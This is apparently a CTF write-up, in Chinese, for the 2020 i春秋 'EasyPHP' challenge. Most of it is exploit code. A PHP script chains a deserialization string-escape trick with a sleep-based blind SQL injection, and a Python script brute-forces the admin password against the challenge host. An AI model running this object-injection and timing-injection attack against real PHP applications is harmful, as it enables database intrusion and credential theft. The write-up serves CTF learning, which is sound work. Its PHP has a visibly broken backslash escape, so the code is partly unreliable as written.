2020 i春秋新春公益赛 EasyPHP

反序列化字符逃逸+反序列化执行sql语句盲注。
一开始想改admin密码，浪费了太多时间

solve.php

//solve.php
<?php
function safe($parm)
{
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

class User
{
    public $age = null;
    public $nickname = null;

    public function __construct($age, $nickname)
    {
        $this->age = $age;
        $this->nickname = $nickname;
    }
}

class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;

    public function __construct($age = null, $nickname = null, $CtrlCase = null)
    {
        $this->age = $age;
        $this->nickname = $nickname;
        $this->CtrlCase = $CtrlCase;
    }
}

Class UpdateHelper
{
    public $sql;

    public function __construct($sql)
    {
        $this->sql = $sql;
    }
}

class dbCtrl
{
    public $name;

    public function __construct($name)
    {
        $this->name = $name;
    }
}

$sql = $sql = "SELECT if(substr((select password from user where username=0x61646D696E),".$_GET['pos'].",1)=0x".bin2hex($_GET['hex']).",sleep(2),0)";
$e = new dbCtrl('admin');
$d = new Info(null,null,$e);
$c = new User($sql, $d);
$b = new UpdateHelper($c);

$age = 18;
$padding = 'flag' . (strlen($_GET['pos'])==1?'union':'flag');
$payload = str_repeat('*', 58).$padding;
//$payload = str_repeat('*', 58).'flagunion';
$nickname = $payload."";s:8:"CtrlCase";".serialize($b)."}";
echo $nickname;

exp.py

from time import sleep

import requests
import string

payload_url = "http://localhost/ctf/solve.php"
url = "http://b9df8ffa-d7c7-4a11-a7b4-dc4227a83473.node3.buuoj.cn/update.php"
result = ""
s = requests.session()

for i in range(1, 33):
    for x in string.ascii_lowercase + string.digits:
        data = {
            "age": "18",
            "nickname": requests.get(payload_url + f"?hex={x}&pos={i}").text
        }
        try:
            code = 0
            flag = False
            while code != 200:
                response = s.post(url, data=data, timeout=2)
                code = response.status_code
                print(code, i, x)
                sleep(0.15)
        except:
            result += x
            print(result)
            break